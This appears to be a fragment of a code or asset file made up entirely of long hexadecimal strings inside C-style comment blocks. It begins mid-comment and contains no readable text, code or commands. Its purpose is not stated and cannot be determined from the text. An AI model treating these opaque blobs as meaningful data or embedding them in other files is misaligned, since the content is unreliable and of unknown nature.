bd0564e4336169dd3781b36eece2d2999952d46a035e77ea9eaf7e43057c0dbec36516f6b2679bdf772383611ba2d074e2e40a86b995d508af6d384ef49ace070f9e58a59ad922d705f6268b6f69c5c57a0206b*/
/*d97932682b73a7e95d6821fb6286d4e3f38e275c021b233b769ab7d59f6144c3963467c1b1d1d3eddf073e886e445c9bb3cd0ccb1acd5522fae8590ab985b82a5a3ea31bd637dbc86bebb0e15176b3dca102ca5164e11b4e8d37df9b1c220e96d00626128e4e3406e402cb0b0705ce6ab84694407fcd523dcd10f18dbbd9fc21242938dfb442bfa524749af315b35439fd9b8fe65bc6d4ced29fc0923f18aae1e804a144eb7177a8a30e5add834e0cd972cb94322ae1af76bb22c0b143b78035b0134d3bab28315af4d90a9b661060cf6974abd3e56fb87df7eec05f21caaefd83ec2bcf990cc2b398c9ba4c47b84c89915941ea7e342a6d3beac2c096853d4e22510dc510aa3043eca1289981b767018947f6d491f2a2f295d4d96fc6845ac0389fa0a22a12898d06211bdbd7b3c048d8f3dd6d645274f7424a6eff09e693844bad1ad2e7a60a1f764b5903bb788d175c920fcb0438f417b9757ec6474119e9f6af44f0f3912bb210290745844236cd75c99f0648312eb26fe076fe47c1f6c5dd7cc217de97ed567e4514fe51e4fe997fb891cf62fd95f46353dac518cbc3556fc04da7041737923a3af1190b891ab495444917190e4283861afe7368ed64c665837f3c541ee6ed7117909262ead7ff470e6c7f99f98656223c286eb41c7bc88565ae370883cb7fe5f7c8cb54026f20db961dceee986e8f09884359825ce58f4630a937842811bd9c8d9a857b108ebdde32e39c1748b76b78d43715ed7f15041c9871f3e49ba169aa56a5a49621a7b219d345e3964379a5092c424ade31c58f8647b1bd5ce475f420ac3e17c1eca433328a1737853d147a4e5f2706ec1f875c42dd52d30f61c8b63b391c1f4477fdc57b0a2da08714ade419fbf96522eb8980cbea12e6e0a5c990485cf3bcb9ddd6ed7c620540643a4f2eb80c4cbb5b107e5e4f8dba6be3e49811a9ae76f3d3d794e7f6a5501fa20909d2e944d5e8c51a20be0f03229201b665c0065a5f9a282647bae1fed7c4fb2ed155672e28cc3fe0bc77dcb2ed83a215cdc6cf70be573e16a9cac4aab4e6e9060876d5dd3a345bf5aedd554f09c5b380e288bfc7b088bf3ef10369c90382bde0f15772356915ae50d49e1cb22809d27f14260656a83ff47f820140107d31fdaf7b8d77bd63506c06485127b9b6c01c1b492e4bde7a3f194574fa73b35fcc857b4ed6ee1b40f4adb7818fef3233a9b85dd2ea73fa69a1861bb68969f551f8cae1e9f818dabb9403c20f8f344db8ef068f00b3555769c452cdcf40aa77147f877857fa7ab4daca1aed61973bf7f05635f9bd9930667276fafb9dc87c224b9e8e460dd8d97903a963944298564fd39a6c02dbd06ec36bea78ae82c48238829c64f8e84b3898a8f6485a16c8738e24f78da5a7eb913806fe661f7fd8fd7f0af4c538481efc8a26c490bdc62430d3f76bda58e68886b741016112e6e647f94aafb934cbfaae8a78f86786d19fc24d55bfd3173d8f0266bcccc7f6624b9c97714d97e272aae90d716c0fc25cef65975a93ce045580d7548f21b02cc8d9565e9fdf2b8091d7369bc23be9d985021ffec7ac04a28da9d99b81e305a4297e4249e98b3f36e31e70f5eb72e7f737f9265c3f59a2bcba5e749059d56917fe86b8d7538ecad3d38f6289a43ee1d626d9c0b07793b0dec0e60bf8cef0883dc77754dea11d2f3dbd41e17b7082db11e83dde5fe563702a0b865b7d99082337cf902cce4896889e9477f33e1344073c76531628ac6ec9ad1ba0696dac06aca28118935acafd53f09c39d8e81351357b9a0861b9f0856f05d1de3df52402946adc7bf0477bcc8b51f9a02dc7c3184f0a11d208970301ac1f6857dec39ce95062d31104524ee0cfac4d8964e35878253b29ad1f19e5873633c6613b4897d3ab1b8bb709d44111d681382128573888412d796264579ba6ff8db7f6995b32496463a92b3c8124ff39dae672fed58af724a6b8456a6a266931dfb89f0d2fdacf29c7585f0af49ac6de8d8bd08215345cb76fa1c4e79c9652f3fe0b9a3b34e582707c4deacd80c450c4e4e52d004b63f6caa4f5cbe5e5ecebb135b6fdc74b2c88e1ed983158f9f9ac0c0368058b81ab756ac1be1ff308f7a0448edabe2abd856f4c7cc5c6e649934c76561106f37ce0eb136e7b33c155fef5df7d0ced3235082ce4f1582474c23ce6cc17055f92a039fe1a0811bbb0bdf8c78dcf3e56040b90b0ca5237b1c36b8e3a54a34850e5f91e424c1551356151691b5622060bd9f5a9557733eef6aad1c8e34bd747173ca50b763d77651c4dfc2318d0ea05f670a15a7bdab64aa50bbf19ae32ebe55ad5296c7c6286931125eca50fa332e9cbd2ddf06de9b52674b94747aca6374c507ad2a2d3ccd02da2a6f5e7ccf691482c2ce908d51eef24d21fa95ec64e4db7b4b9e76d7677c0905a4249cbc8ace429d9ee709abf1c297a54be8bee0f1db8c57cc3f183cde0462a326ce9c6fea17df1adadddcbf167df7f6386f9299483574e8419c86f713f6e97003b32c759681409584c0b72036816ee83c4777774460f751c585dc793a9ce6b85739352b398799865c728bfb7cb9fb3fd9d8ec50c25c1948384903de1bab0d63f8a1ccff1bfc5a8bcd9c97a8d8f9b45fdadcdcfa42b699bd6dd87f0b82709a024a2aba648ed768a960df2b62dcd8067b2f11c0d4096a6cbdd827cbc6530f4198090b88fbc25b95a14b81d12de69eea2181627ab9c9c4cc317cec2ad544ec2e258e2504c6d491dfd8af52b291d18fbba654ca0b58799a3404b45d27cfa6bbb259ad96e18d34252a430a3f4756ec9efad4f*/
/*d1c77bc5be8a124a890eedee59198d8aa39aa9e3d35af8e8bc73ede6c0c29e90ea7384da22877e2bf90105d7ce4fed3c0aadb009c80b8ad93dcfa124839e967bbe33e97c78eeea13d0692560b8c7d548760afaf9d97aac9f12d248e75971a65cd576d9884ef95e750031b10161060c8226e6d4e51ab0abdbd17f36a521070d154f9021ff288fa2f33fbd6bb2770972483141fa9793a15bbb2e62d93082adfc3fa55cb711e431b46acbd144b727d16ae5a569deb6288f012cfe4e34a26056e6513ea61966a2318d5d79daa1b351b7dc12a318ae29c7d3d4a441f7108583accd3fa5c210a8fb944790f184a6fc89ca82dec7ffbf1030f9f3563e6ef2efc1083f6f5e20702a96e7f25cde3b5491b4f5f9ea28814df56449580cda138357580845aa85f2d6d3494e1f204b204c0a29ced3ebdb6a97a1cb6e821a03948d1afd1f34beeed207c646c9502c4b7f319f58da0155bd68137a70e411707fd1d789878583e103208e756eb9109047355dc285f81d22bd309e4a6fe5f569d145f611507bd11e84997798aa35a2ed901be10611766919653feba1f3813f0ef9f7247daa15b50a9499219f364b846f059f35e5deb1b9aea6e003477e956b6bdd465d4a66da698ac168d94d60a026afbe47bbdc44f5b3e5469ddda2cbaa0a0e51b34c14943471039fc6f028c9b4e781ba423dbf1715e8240c238c8a2f74590bda404c11e7812c5de3fdd869c13f9a8992927be42fcd632af65292ce0846ab99473831653536b53cec03f5deadcbbf85af1372b2125f1b4eeb1785b1420d50eacf50b6012d335fe06246ee4746bea21e19a28df39804ca7dff835aedc09c4e814e3d9125a0263fcae1b329ef8775f3039a59d83cec81d4f957e79cb07a7cfbf5079695965cb8708c3ecf6dc86d5ddec5d2bedfc874856779386d3844be1402cb2fe2cc637ae3144ac4271753c401cc5d5c7dd4142fe5f23b66a5808f1d72dbe1a11bac6e23d0431677ee2b6332534bbe4f68136d5caed57a2397f71199cc19fb8440e2c09fb0104ff9b1ca362ed8f23b5c2432f692f29c0339648c099847ddaf86d5e7aa0420bc7fbf38c04bb22b98b9205c3036d5d3e4a1b84628252bc5dbf7470282509a9fe4c9dd03da2982efd3ad59a30f5ed7f8194b2efd4192a3d59c1da26adba4ed944a814b512a1684d9de6e1c38325806286cbbdad8719e9419e5f3f49dd460002a57105812e31acd149bf744f7b34e8563f940ee3c80ef333d72600ead4afaedfcfeb61b7f2ebded0cfa0ab7e761101f68ff20257cf8ce7a5837309d3434371ac50fd53bc8453c7291725917d2ba9928fcca2227e726817c640584087a7ee24d258ff87aadd8aa1cc8accee08377d22bcd521ad879866bb4e683ee1780b737ae729d68d44638ecfb4dbdd14463c4b48488dcfa265320497f3853245e43717f4e88bc11ed758f60570ab83bd397a407fd2220234e76b750135ddc3a807614d25bd91eaf77a05b96ad00ab957a1e4cc7f2a40bb842448e946d983968571e8254d5d9711209012740c97e4048ea7b58718d95cb78af78e86e20ca43fb9d2c088341ffeb100f94a7ee8598979a1510a3cde19272150f698adf51ebf57315c0bb8958274dc1127d4a50d4e410a65e6830e33bbf5c928ad985dafbe8b4d6317f2c4a6f3cc89653225394e73cc4dacb9c0dcd624be6d2fbdfb6d2ac7f22774df1205850321b8e329fa7ea5eea9f86164326038fd9a9c58fb3e4cad09983f12f88eab27b20c8259d602330da54955661f8f0f0fab8c35632d1ee1b91672d4f35dbef63a2f3f42bd36c2c04b7f2c26a5762dd41484da61c3d18c7d34eac3a57405d1ec26320908cf3825e41946b812c630e079fdc16f250c6bc3dc4c3a667733c852104b103f881afc65a048395a2aaf707bf219068536732d4ede85b9b3910051b4a31913b058100d117d136c7e69f40345f38729bbbfc044ae0e63a3a33c76e3c9435f0910bd8dd4328759409a62d08dbe739eb984772e32f963bd178bf17194a563398cdd2161285b0d993037d2fac32233c7da55638d590ae300dcf979204c4a0f2005286cc5a0c2555e5958abd6efb91b21a101cf35a2a3cad27fdc448940bbdca1e29adb35992e2cac17ceb982599ce9f6196cc0ada93a88a037a377f48f7302985839d2c120131ba2d440ffeafa3e5a6f3281525ea8694c94c8ae5bfa972a37a4ca046928cf82db6a887e0af7f509642e18f66dc91294b80d53f9cf1c18c71fa802ccc65fe08cdde5322374b7dae131975d38e80b6719884f1b269b85de1814327189c721eb9e137e399f3b773148d0c3293c3259aefbb4aa3b1628faca73bcfa71f5b164826d564c5379610a741e3c970f39d06fa096b6d80d8c3e145dd6a90806f107462616faa45461ead917f8d00b8f15b8a299ad808bfef26de9bf9b8ecc9c30504f04c599715988b715b822e1b97c4aaf3c624ba4ba0b93814bebb74e319a355373b786991c634d9349a79d1f757219eada4d5d019f371a79e8dd9cd71cea9dbbee08447ac8f8da29959b5f9e3c3449bdcbad5f05a817009fc70d497bd708bf1a3fabb7ce9773a0901a7e109b638ecfe8e0907091c6be706d3662cb8c8e91d52edbe66be6f2ebd7b98bf44ddd4c116a25d8f4ef8e32880337e69b52e0685d9d9ac420436fa6268f1550c8cffe299d332362c8fd822c877b74261cff8c4eab1abd95bc1794ec97676186356d1bae3e456f442e23c78954495441ebc346998ec2af8635767fa605f4a26a7e57a1013864a892a439f5fe6dab97d45e77ebb5de2e7d9b8c728757fdd897ff2d02d6814481f4a*/
/*6c5afc13b9adeadea1871918d526c023f480df8f90ad7e92420d41ed5e4f666f0448f9a5d79745367d55db641becca83d71d99f74dda113d724b5501083df177694a25c895bf71a5f2ad088a11eb561a2b54b7cb162dad9ef47f0b660909b69eeef9f7830c3a0e9d40a68edfdfd38efe2c5c6675b125c2dbf8c1526f7bb91fb0d710d05023d48b44e1326297907b62ecd3e5da2e829294c625d53532e5341403f07000de9b8791ffbbade841804e77ea5c895c10f07b31c3e20484d4815e4a3891707711cd9e73e7ed20d6b527cd34742173c4595fd0daa2616c189f8b113a5b6f0e6a011c641e35d2df84c2bfd461bf78b3b5b909537c44e3c9825465d1c67d4b245030a9d232ff895a42c7d9927da1618c5fa62f7ab6fa86ce846d744e3943ab1b8a79aeb539f4dc7c5c9d80542bca5c897e9c6c688a5d13ee2912b41d1ff1ec568ae3a1b82aac3cc3d83526d64b7ccf66e271e996018bd6fc1587a78b6e3762ce24143023ea880d9b3e9cd95da50150edcd662d2a37a9d56eedaadfc854daf78923ea6dd53bd4c92abf5ced17ba4f41eed9fbb5f96118c338ee59a176e3cbf71f893de4e6e15aed3d82f09f07776ebd6c4547265c6d1abf6592f531da7b8c7bda9fb9c7d1667316b2eb8e9a3d7a7662d8915b087f33835f0ed516f421296786da6e8a1a813eb86933fa5595244afdc43c7fc1891b56992fd32253d09aac4284cf10e0fa3cffcbd575ac7fd5436b76bb4c44a5b866aa6bce9227173596173b581e04f0b44002325116930f4e8ecbed9072105243dfc3ea393c301eec35fff3e166082ce289107292e65922219abe7695f896871a393339ad207fc3c5e15947549dc4585ea0ea997da4064570af53f9fb334d9baa4fabe71dadbfb3f049916b8b866f641f0055553ac2f2d9a4b0a7a244d632959e04a88efa986e1a04259335a883cc0526cf3093fcde82fbda761bf5023c7ab334e89afb9da7ca2c52ec708272e963482512f9672f9cf7ee19dd265e150f70ad854bea01728f9a1dea0ddda0a63e62ae771c777300221065ca721aefc9c6b73cbe0c2296290062c005db15b9a1509caecf423cc05ba274bad55ea627a1f1e50c438491a126b2c8da5cffa696627b9a406e3f79852adcf359651c0d020cb412b69ede4acfda1407ab61d024fb6943691f5e675ffce51954d0d752b0db3a1496583aa1dda0d3a65fd1740f8ee509ab0d89e60d623892f633aa5031fc3da08461fe584857a7624e1fbebe8277d66052df88769152e60e4bb1bf138a138b99d95faec81d6aac968005d9ad6739c8ded3b4d1f85ad0c30c65f1beee515192a6c5ae6405a1f03bff47b9b548a3b47593ed22d9d4a13c55be6e1cba99ceed1b8379b124abee6a32ff7582de767989a50a6dca8316e677e012d0a83f1b57644012f7df3d4025685ae5e7af9536afbea7e341938e3bba45b0641f6c0b3c5bbc9fa9d087ad54812f9bc9f9d16c75b88599f46393add864c6011b57c72dcb1a83d364a63cdc3f81e63338685d2cef8a6c8e8d4586eeb1a1adb44ba2c756d2f576bbdd82a0dc6f93ae653b4639ba1b8e203802708297e8ae279903eea955d5356b525a216c7ba7cbfd1269770e554c6779f99e8764c2877bb3092a092e06add3a314c1aa3525c83cf194cfeee7b571d7326417147c1c68253dbce27e0a5f25084803a1b51c07dc9d4b55c7100de6f77e9cf4dc066f2e2a6c1b75708ed0486bad6c00542ad788e7157dad71e4ec7c6ee17cd4476c5fb890061dde6f51eb2db28c9c429b0c5c5322fcd42b22c1be68a5722be5185ed4b5e39c046a4d0bf97064185c7df197c0017f9fa23a5d9afb0ed15e7bb40dc6c464219a52f9c5cac27bae69ccaa4f48a177e5f40f8c348923bd4f50b46ab59a2cbf135634b084faa4f7c8682acff5542221e4600f13d17b62141fdf52fc9df3a6f1516aa0d8b38746aed8bd261f93bbc912b8cdffaa44624bf0c1a4aee7fa57c8b579f5db19ea4a78b4a020303ccfe5dad82632b1921256465461cbbd0213abe0a253797b4289d05d805e7c7d04e186cb58f2a6bda9eaa5ffe9d232370f7dd1f0af32db955c7b7fb884220fc1577ababe1bc69ee847ec1eaa1b0576bb8c63bb2126707e3080ee95f9737479f93f9a51b8a8be23c19c520dcede4934c13eddaca9a19e4d28dc9b0377080f21d221f0cda81524e05c07c58e18a50ea53e89d670b07afea0fb8c25428e3c534e4d6a959047ed4e02daa2edbfdf8dad896ea45bd1ebf9d68696987b3e962ecfa3837ea32507201c9f1ae4886fcb54f17ca13a82b330c0d89e696be26fbcb7e2a08f201c0f03c5d7d612ac7635e27ea9100d899420154d7ec792b7409c398df7c09e4d996d70c7c8c6aa5228d655e4ebbca4540c29463d62beef4b75c8cbd013528da5bdb5bdf8f5dbfe3002ec6358ae91cdecca4078f2e6be976a798faf7b8df955daebfc887173cecaac210120e6b2123af7aafa54b8c68bb938f15a408400f1ce25c157b1eb75b32bd7e1c9f659de12d4f3a192d7f81fcb7a3f39db13fd9c7b4d9bc3e05aa4f539965f7499329b131697fae0811879574c615247f98684f67ea284f916b7e7b0a7a139db420fb859d42cc177c22cbda9112a2cf0b1940442b3aaa5ecdd4dea954c3d8c838c5dc0d176a72014a9b4895dec2c150f91f0e1d024c6fbc5e8fbf8f6c4e9167ba9ba9ca509ce660954b4b2a5db9c9647b91b4f92f387797dd3c9e97d20ed7eda1ff60febc93d6d2f96616166915b88c7872f19a78f8e2e6f0e408386705222b2a5358f1bf7e505d419307b8bf7d8f3f3b9037757be617a*/
/*861ba77ab6b9eab5f38061fed131a154021dd6b75258870cc5b89d47b1e836b93a1467eba6f614a30020bcc62aeb695f56e09053ee00d7e82581d9c6ad33d68fa4d2ebdd1f4a683700293413defc508ddd3e257ebf7e4db1955600592c63ac279287725306b0cc3804f140493b4c32cdfbe51d022908fc026e4519c780bc6aad102c52422dd37fb15772d18e5d44824ac1ea076d11500fa20a3500d3627b788a56dc2c5c4402165ac364560c801804ad7fb9441872d0d906eeb7fccbe785c2309a2db31642fa1155515de3dbf1f81efc92c0b9b212304585a66c6318d1872b3b0b681371f4812f309daa189f4e43965dc834cee95b9a682ab7d7e57cce9429b706114d5e65ea79a7ed04fe6f12d344cf5d0079e4f9aba4a23367309579f1a5d8cc596944487bbfae32dc0e7be56431707e34b82b5711110516f19eb75a107c968127e9ec3734cb0c21d549bb05d5e566ec57becdd7e26fe67a3fcc3e452b1ac4abea09bbf8109a97fb1f0b36e214864f291898e355737a34a36e5165ea1510fc44cb9dd7ca24925a3addc2afbdb9b66ccb2ad8d2599a7b863cf906b5c7e22d69dc2f580cfa0ec171f9bf9bd63dd00c25c06b7fbd54f9efb2d3062225e794b63ec0145d1f4ca760729d3417f7151edb66b6f8fd65b9915a97dce3c874c12cab0466b2ee9ed1443bb08e18a1f7f52c46ff1ed174342db4250446858d077e3475fcfc591712ea1c7680ad2b2d2a6d0f7216ae7d9821beb6e7b04469b6211c56dcdf5359c6b3b4912369472563b25b064f89f7418d3c43aecfb69c9a1b732b77808966e63be58167d47ada7fcb1876d7bc7f2699f99af92a510acd669caa27397ab88a8aab0dc10c4bac4e3768f929069f6ae18984cfee55014cb33701fbaab65e15e84818dd0ccd3cabd13a5f0baa4372b2a446765674bd3a19645cc6e3c76c7987adfea53288f990d77a4cdfcfe66fd909ce789d96e3de10f2ee96561dfba95ef22738f87f3f27c3bed3310b14d695698de6f3d6f6b98d9b1e7e9836e3d209a5bbae2ac394b6d383bf8ac3886ffc5b83d8cd3d589560cffe9bc3ced2a474eb3d32dcea1e8c470dc52bd4db1f181ddc4c3967e6a85dfc258c69793d026a6cda59cda81fcd2e5c2583e3f211c0435cedaad91041169c43258a04b3c73a5cd9894d141575d4ec96aef3cd4256ffe3c5b0765f8d2075affcc945eff36133972058adac595f77719f66147e89482ba6a3a64c75b724c906b3a42f097f7eabd5592fa7f52f9d5198fc42afd4d5a01040695543bfb546b92dbc7bbf8da7c5ee4745d02d4ea91d1e1da84f8eaee9edf356e488f1587e8c1946e06bf3aba837224d08a4678c201882e03e127e78a6af06cc9d71138a2b136fa15a8c0eac789a77f43959615e6d22bd57e108a796670275fc2f703632658f0ad2f53028b30440a7085411984fd95c6d5d13391af00251995e0debc3e322420adba534b12201ae2f253cf13214c8d237bab47d38ceb5c8958e20a7e4df79781cd62d3da232e07a24f9c5e1953afc8390af98dac9e9ac3d23c5b11fa16d53fd4887ad8f73ef3449f6583a569f2d67247a3283906f7a7591b92d1b464574d5a773761442d7552224d9d550031aaaaa2c37f0b9b3bb8d4b5da1c0e6677c6f836c867e3208f73ff1e8306dc8ffd849a4e4ed46cf74ca4ce0562d84526876df7413410e162af2f0c09929e9d5a53fe0b504646383806f31ae6fa926707b907bb0f78ccd95e4e23955e6e4d949c461b5ddf25c68f53abfad5a904b09dee6817f3d0d5342b54144969e03159e519fce08bc4a0c2b9422ab743acbeffc5c92728b4ea99da6ac17fa8e0ab3b7d5742432ab690badafcf846d670328a46a585fb35329fd84d75c9d578ca210ab3028382aa81e7b60b57153d066a7ed0c1ce91b40ee8a8256285d0303f48250cceb25be7c2e617f77445c271f97aa674ae16b708ae9199bb4f3ea000e60530804bbd5dbc8411b0d22e315cb0f38f27efc2e08a107d6498cd6287516b743384e3c1f34da07353085275682c226d46692322703518812ef4ea23ceda26f6f550edf051652a07a98c9d9004bc7065879edd473cc4b4e8674b0903cb8ca1e76fa50ecc6d7baddc2192d4be2429aa0d395b7301208d536a446f186afc2117ea73f5dcd0570f815919c2660f48994632a451c2a028a005ec0762474c41a07354ccbe07a2d5f8c47ef3badf9387b017d32d878d2d91925d309fc034d0e92c445dd7f2b516a77b7277ae95d15b4cf3fa4eb4455bc8fd708111266e5ec8fa6ce22bb6d6110b2ae70ad80052c122d1388924a19d18baac7939cda4d7bac339564b96e0fe5a762bd80a27199f0bf187c7c9197a72a72a23907f7cffaa09b8db3905f4e506705de750bdeff1a76bbe5ed3eb88eb20c6f7d5032920b1105c3ab42e29850e5e5301e74bbb42a3cc024888e3fcc10c3609807d4779f1edd09359ba55fa108c9ef6ed7a595a02c0f05d3b20f8c589776ff1819ce90862e94b94027fe9f2dcacf3cfe91e6ac8c4a41f660400312858194de009aae1d086fd5e6a0dae2334c7f758040762fc921ddd8e76136cb6aa3ccce66044e833dbab4a527bfb376cf27cd3397ea54cd71984734bce10a371ac3ab12c5ba502a00fb8746de7ff27082da98c1f02e2efaa216ef6c8987cb693aff5d6d75b23afe0541812047f09d1275232e1129eddf4506d03d935c11369075c1539a9b0f625406db94e9d46d058510a93c827dfb031552669711be8543c19a01096e9738a1ed275668633bacda0accc6dd054dfb1cf6940ed40c7c57c2de59164da03dc612835d731e*/
/*51c40b986a4fdf4a80a44b70c73b833e42d8b94db6ba0bb5bc6cb5169b50cfbcba62c223b2aa1ca04aca84476434b1d0faba5b87928b4819acd1d6a4ca26c80bb3aaa83de817eb35fd947cd1f53fed33916da8394b33cda9b828043b835f2a670219249c456ef3d529a146a78b4ccc3f605aa9e5bb3a34d41e5fde7802edb684d2e147cc915cbfc836b0f9f91a6e0938a5e4c8d09ff6a87fa994eabb2d26f2f69b074fe0fa595bfb0125e643ad06f16dbdb697e9ef1a1d2106077000ed3fa16e91898de77ae05f6c8bbdfe376ead38fcc09c33f758fb467720cb36c44168280635d2a67dd15256ff7936a5ea61bcbb097fea132daa0c5ab9ba887cbe2ffde4145d1e57268f6a9173a2e64b9fa2e683a494b9c9d814ba61e4c0128d9c4a8fc9d3d90fc8879a00d561409ee16a6d8c16c64b17bf112ea4c7a0bd534cd2c19937e52153d041b70f13e85a93146d17eeb6c84114acc920ec661dbcaeba41d586d3968d900992d06a4ee3e7d674cd1e0e8bbe72b35bce97674c4b94c7e09769f0f8a4edcea2bc3ab896894b36b8734ec85c56f6eb547521537922b17ecf0a6077c43a72a3940ea2e607bfd5ceefd5006b5c5741ac5ebdfd0e295d74a53209be3a3fca09b0480e3e443a13ebd73776f882dfeb06906fa7742873ed72bca20d436992f0d176d9cc0d21d336b2ef197a0e78a61e829342abfbcc9f8d1253eee2db1e4c09bb88e5cc326a68aa575946d5b31089b07e487059254bfeff6ccb53f18977d6535265f436dd1f2accc9434258e6dd6a7555b1f59f8fb27bc4b98db3b4f539d49c7e25325143f053b63705416da6144586e9bfd7fa10d4e874231cfcf3cf32b6bb3f4c820366ad5c5d94070b04745e6aeb4522da762933cf03818ab19739ac117356529a941c5a03c65aafdd0f6c21f72af1bb03ad8b645d6654185000809fe6d249936348b96880a523b76a7f02911a808a1c796e348ce1165708558f1051b0ce8071404ac21ce3e050135cc1d951b881a7a0f4b5bedd3fb76007ff6cd828d8658a212507d4ac7407e9cb928492bfc4a5fac712f70a1b4f3f383e210ece35081ba5986b2343be42e1f6e4baee3919003b384b982b062c0ff3e6d1da258a7a7a57c201922d92f0ee74dcd2ccd701e7d6c4fbf56ce7f5fcbd0f00b57391f6f4a02c231c6a257381b983cff74692d4e4c9e8594d0d9174c24f3045bb69706daec3dcf04605bf47377df29a142c138b2c37c3547ea82246d29f56ad1b9ed9c34134c651f072743bef0c899c819ca483a133a8ec950268e2f255ce4e1c6fbd0d4d25b3161c05dd90007a8a85c7a820ce54094d0874d7c4e65391af791e1d30d4413ae1d13141f5374d9965a19b3fc569356d113fa7ccdd0baac2978eaf27025a92d8ced1cb0cb296cf22f0ea9a67f77b543eb8a5a5ca6ed1cd92b5bdc5aebb8bf10154e4165b44b32a6e8b5cf818a293f92fd863e46f619d3b005ca7f28702bd38e6ddaf3432120a851b0da41addacc536a74cee65606e893d90ce0681817828b8078e8f28acf4cd33c234edc4c35f968553e6fff49b6f881a9777115454eaf008341aebd8c718028fced4a14703cdede66b5509b874c7cdf8534e9fa6cbf143f1b1ee61852b6ba3d3ebd834d066ae6b2d080766a6eb829ffe50c80f0cc26d411dffd665fa72f5f9337c3fbc4d200701fbbca5f2fb47e712963bc2b9c5f3d66299921f1abd472c4898dc19e4b1a91de48594aa32845392b8e9c597b817cc25b41926aae1f0357e2f1eb27020a4a32889c2af0c0a5a9d8306adc8c3aaab1697e089f3663c4d894bc2344e67b215633165b3de9044f95f2f14ecaab4a684827a6e5cf129df17c8e8400ee8155e25f87fd6c2691d75ad77a98d0a1b48f6da0f19172afdd406f1bb53c7d19d3cae3da4ffbb91103ee7a722f7ecab66c86500abf50badd1e1a0bc926bf514ab15aa095359a9da3db7852f31ec96eef682e56405adcba3a470bf712a07c8b50555cf77bc519ef2249b3fad3dec1dfb0ec8151dd2667b1893e74df17f92186a1a8a9cc9d01bceb966b9ee5dd015125fd98432ec3e53fa210e02e62ad48282cdcd2cde5bd1ec5567ac1928a8d82f38e2122617af9fdb115d2eead7ccb311968cf3ebf9bdc7fd83d75e001e0ffe5b21be28b4489eb2f6a281d5a1db86939eea00670ce46047996fa29d32e8b693f58a3a819e86709ddf6dd65a3f091d66dbde2ce9bc04aaa58b73259c6a8b8a05dd93c317d976be55e912cd12c5ae1ac190d92ea68d0bdfcf43bf0d400ba3c7271a9733058844442a0d6219a14d167434fb33e849284d20ef0faa8eca504f5a421e42610164c59a617634a09b25c79c67ea5adc84b939f2237c5252c450abb226fb1b75e5de074291ecf829e29619d76d3737d3cc03bda77469397d5d5643fc212208bc1b579078581e2ec5d609e7c9c3835e83d1d3f4f173b1dff3bf52054358b61fad86d59d541c59e922bbc3ccc8d4a2d65931e9678a10ece9ea17378de3b5baa234739fb058a834bc0671fe5864235be2fabb4a79ada46bc5b9e54927f3420273d1a366300885dd0b319525b8652fde52840838bb5551c572d4ab740e1519df8db386280fc892692222307a95ec6741088ff64ed683e71e0e1fa389a7661047af549225551e8c3575c294c84ea0347a9cffec1061179e04e68796d3134d19465e3f951b2578e3ce4e44804c3be88010c5d88df0f4325ddd25cf401c5035aaa6737d0b71e68c63788d492ba61833317195de434d6274c608a1420632107738917e467fe8cc25c9bef14b262a46332453850be156c6450e9e2738639a*/
/*fd528c5075de7c510b860a2d772793f42103497c3151554dc4e908aede04ce031e261b36bb51cc558d5cb1acc9364799455e1a61057dd94c5bce8ab751bfd9f37e7268ddde2d354ee9827426a762f1c64d9e06f96181e0e371c53f6b1249f8b868c4f9059a32702ce75a6530de66168062b3ecab949f33e6e594ad1e1c22c1073d8f8b31d98e6824bba629b0a887ee123ab711b061ae0556bb5ff47bfe5f35d88d3e8e63799b44fe9e7abe68f6003a569f857ec3a3045cba3e285084610f82204c186dbd14762c1ed8f5e71ea5d6bae0a5c47924a0c6e7cefe2e09e418cc0ad602fd3c705aa8e27c7847d599faabe426e7bc7c0e1d837efbdc61d82cf8495b3f23df9ae5308610e2b2b6c4692c379f05a2f90069db2788221fb61a7dbf0318403fb0ec23446d0e00c03fc49d364439c5e089bfd923433ef526c3f4969536da08e00b1cd3932acfce7120a28d6e30470dd22413fd05631e0bcbb28f370e018bdbefc268ff62d32cfe8dc5639dc6df1bd4517b6a11b7b9b065fe9761a2f01144db908b4b7a81d93f2b23f26df2aebeaac43d993a3f7ad3fafae8248a9d8111835622d56cbdd2a03d8e763cbc463ef32287172d9ec7c0619e5baf143c820aec955d41c3f56c2a78846cc669995f6292bddb6da6ce9d86ae2faec182fa7e074c94a424be89f5367f7ddcfbb73d3478fe4071793935b42f0c391987e7822904186b0bd72d9c9427b630685551f04baeef560634ed4beff4b67413e6ea485128f5b469c7c76b7863b1ba75193619fa82ea5e827363a379eebf1637b0fe6d34ddb76448ce7fe49f57c79414bd21e472b3457b590dd6f913e8e6204463bb848b837dabfe5b27b99fa03649f661cf59b6a0273b0fc7bfc8ad53fb6d40a61ac7c2464a7459b04415cae827c01767ab523d8c13ecb0087ee85766d232c03894cacbe41f3a11ad743e5a515711e72a3894760b1af901753ed2ea906ad5c8bd9b6ff76a29ab33fb63dc38f976547f2a5bb53579ae7b0e27d307ccd2db822ed6f2cf5759fd0d024be60f08840355b0e95b0254f6968f06714f3e36f2ed5e9735ad8b0041d0d78beaeef51d4921ebfce759cd6fe32b8290f86626f5c33f61b389ffc6c0173f1df5fd803b8d9794517373c7c602d0a8dd09c25f43bd4290eabff2e017490ce6e7ac540aa9e47587c7c4328b57b3749cbe57a720a621b781a3438757c2968733ea64c063f28a324ab529b20bba967753691f81bf2d47ea02b65887b73e84b41906b6965b275a5b41ebb66b6f94cabf06d3b936205219cde4fa25f9d20a70fda89011e57cb3d661f7e2a448bbddd2f9a7b7152981e9eb7cec76e1d02e731402811f706f2de2d11d8b4a33b557e9eafe5fb100bac55edeee05f13b945cba90a94f7c58e2f6a8b1e99ea8f5abbf04bdf5e283e0c9a8449d585b93a3d7fbda7737b4d13b41b885953f34e6aeaefd35449ab47f9af3b09c9c3cd74b48aa44db6ec8474257c61468a1ad7b8a2cb23912fb9c4caad211558ff2f4b4caf19e096bc41b7a79b7ca44cc41489143da29136f1db6ad6309ac36ffd51f23f367a2eaa556d2c4625647904ff33b624cf253d9bce8f8891d324e4768126db594bbd82858435fe93a8116cb303f9b4384aacb06b02109cb430591e3126411f175c60eb8b683bb72a76b309368fd01fc5d61ce7e376df3bb34ce3bd1f55bca78d5e0403d88dad4fb8e1be85e46f85eaf25ec10635ca891ebfa741d17ab47f1b02d3411115c933946ca996951e1ede5c4ccf2f2be9f18136eefc43842133a26da27ad2466c2b72a65d634db4e54d8eccb36932a356f94f4cf1fa156f307ab0e0daccf17223cbbed409404709ee2b40df5deb7db45ea254edb349a86d2aa328d3201fbcd668c246bffc1ade75fb526bb54a9b488c49a04976ded1d229cd1b9c5fe96ce60fbadd29852e8